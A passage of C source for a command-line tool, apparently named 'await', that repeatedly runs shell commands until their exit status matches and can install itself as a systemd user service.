{"interval",required_argument, 0, 'i'},
{0, 0, 0, 0}
};
int option_index = 0;
getopt = getopt_long(argc, argv, "oVafFchdS:s:e:i:", long_options, &option_index);
if (getopt == -1)
break;
if (getopt != 'S') {
strcat(args.args, "--");
for (int i =0; i<12; i++) {
if (long_options[i].val == getopt)
strcat(args.args, long_options[i].name);
}
if (optarg) {
strcat(args.args, " \"");
strcat(args.args, optarg);
strcat(args.args, "\"");
}
strcat(args.args, " ");
}
switch (getopt) {
case 0:
/* If this option set a flag, do nothing else now. */
if (long_options[option_index].flag != 0)
break;
printf ("option %s", long_options[option_index].name);
if (optarg) printf (" with arg %s", optarg);
printf ("\n");
break;
case 'V': args.silent = 1; break;
case 'o': args.stdout = 1; break;
case 'e': args.onSuccess=optarg; break;
case 's': args.expectedStatus=atoi(optarg); break;
case 'f': args.fail = 1; break;
case 'a': args.any = 1; break;
case 'F': args.forever = 1; break;
case 'c': args.change = 1; break;
case 'S': args.service = optarg; break;
case 'i': args.interval = atoi(optarg); break;
case 'd': args.daemonize = 1; break;
case 'h': case '?': help(); break;
default: abort();
}
}
if (!args.onSuccess && args.daemonize)
printf("NOTICE: --daemon is kinda meaningless without --exec 'command'");
while (optind < argc) {
strcat(args.args, " \"");
strcat(args.args, argv[optind]);
strcat(args.args, "\"");
c[args.nCommands++].command = argv[optind++];
}
if (args.nCommands == 0) help();
}
int service() {
FILE * fp;
const char *home;
if ((home = getenv("HOME")) == NULL)
home = getpwuid(getuid())->pw_dir;
char* service = replace("NAME", args.service, "NAME.service");
char* f = replace("SERVICE", service, replace("HOME", home, "HOME/.config/systemd/user/SERVICE"));
char cwd[PATH_MAX];
getcwd(cwd, sizeof(cwd));
char binary[BUFSIZ];
readlink("/proc/self/exe", binary, BUFSIZ);
fp = fopen(f, "w");
fprintf(fp,
"[Unit]\n"\
"Description=await %s\n"\
"After=network-online.target\n"\
"Wants=network-online.target\n"\
"StartLimitIntervalSec=0\n"\
"[Service]\n"\
"WorkingDirectory=%s\n"\
"ExecStart=%s\n"\
"Restart=always\n"\
"[Install]\n"\
"WantedBy=default.target\n"
, args.args, cwd, replace("ARGS", args.args, replace("BINARY", binary, "BINARY ARGS")));
fclose(fp);
system(replace("SERVICE", service, "systemctl --user daemon-reload; systemctl cat --user SERVICE; systemctl enable --user SERVICE; systemctl restart --user SERVICE; journalctl --user --follow --unit SERVICE"));
}
int shell(void * arg) {
COMMAND *c = (COMMAND*)arg;
c->out = malloc(CHUNK_SIZE * sizeof(char));
strcpy(c->out, "");
c->previousOut = malloc(CHUNK_SIZE * sizeof(char));
char buf[BUF_SIZE];
while (1) {
c->outPos = 0;
strcpy(c->out, "");
FILE *fp = popen(replace_outs(c->command), "r");
while (fgets(buf, BUF_SIZE, fp) !=NULL) {
c->outPos += BUF_SIZE;
if (c->outPos % CHUNK_SIZE > CHUNK_SIZE*0.8) {
c->out = realloc(c->out, c->outPos + c->outPos % CHUNK_SIZE + CHUNK_SIZE);
c->previousOut = realloc(c->previousOut, c->outPos + c->outPos % CHUNK_SIZE + CHUNK_SIZE);
}
sprintf(c->out, "%s%s", c->out, buf);
}
if (!c->spinner || c->spinner == 0) c->spinner = sizeof(spinner)/sizeof(spinner[0]);
c->spinner--;
int status = pclose(fp);
c->status = WEXITSTATUS(status);
if (strcmp(c->previousOut, "first run") != 0)
c->change = strcmp(c->previousOut,c->out) != 0;
strcpy(c->previousOut, c->out);
if (args.daemonize) syslog(LOG_NOTICE, "%d %s", c->status, c->command);
msleep(args.interval);
}
return 0;
}
int main(int argc, char *argv[]) {
pid_t sessionid = setsid();
thrd_t thread;
parse_args(argc, argv);
if (args.service) return service();
if (args.daemonize) daemonize();
FILE *fp;
for(int i = 0; i < args.nCommands; i++) {
c[i].status = -1;
thrd_create(&thread, shell, &c[i]);
}
int not_done;
while (1) {
not_done = 0;
for(int i = 0; i < args.nCommands; i++) {
if (!args.silent) {
int color = c[i].status == -1 ? 7 : c[i].status == args.expectedStatus ? 2 : 1;
fprintf(stderr, "\033[%dB\r\033[K\033[0;3%dm%s\033[0m %s\033[%dA\r", i, color, spinner[c[i].spinner], c[i].command, i);
}
if (args.stdout && c[i].out) {
printf("%s", c[i].out);
strcpy(c[i].out, "");
}
if (args.change) not_done = !c[i].change;
else not_done += c[i].status==-1 || (args.fail && c[i].status == 0) || (!args.fail && c[i].status != args.expectedStatus);
}
fflush(stdout);
fflush(stderr);
if (not_done == 0 || args.any && not_done < args.nCommands) {
if (args.onSuccess) system(replace_outs(args.onSuccess));
if (!args.forever) exit(0);
}
msleep(args.interval);
}
if (args.daemonize) closelog();
}
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.